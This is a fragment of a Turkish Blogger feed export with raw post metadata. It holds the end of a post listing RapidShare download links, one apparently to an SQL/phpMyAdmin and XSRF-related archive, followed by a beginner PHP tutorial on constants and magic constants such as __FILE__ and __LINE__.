/>http://rapidshare.com/files/194215389/SQL_PHPMYADM__304_N_DEN_HAS_BULMA.rar<br /><br />Xsrf<br /><br />Download<br /><br />Düzeltme<br /><br />Download-Link #1: http://rapidshare.de/files/47209131/1.avi.zip.html<br /><br />Download-Link #1: http://rapidshare.de/files/47208903/2.avi.zip.htmlKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-52289222620155938782010-07-08T15:43:00.003-07:002010-07-08T15:43:49.182-07:00PHP Sabitler// boolean, string,integer,float<br />$Degisken= "true";<br />echo $Degisken."<br />";<br />$Degisken= "Normal 2. Tanım";<br />echo $Degisken."<br />";<br />define("Degisken", 2);<br />echo Degisken."<br />";<br /> <br />define("DEGISKEN", "Sabit 2. Tanım");<br />echo DEGISKEN."<br />";<br /> <br />function test(){<br />echo DEGISKEN;<br />echo "<br />F.adı:". __FUNCTION__ ."<br />";<br />} test(); ECHO "<br />";<br /> <br />echo __FILE__ ."<br />";<br />echo __LINE__ ."<br />";<br />echo __FUNCTION__ ."<br />";<br />echo __CLASS__ ."<br />";<br />echo __METHOD__ ."<br />";<br /> <br /> <br />?>Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.com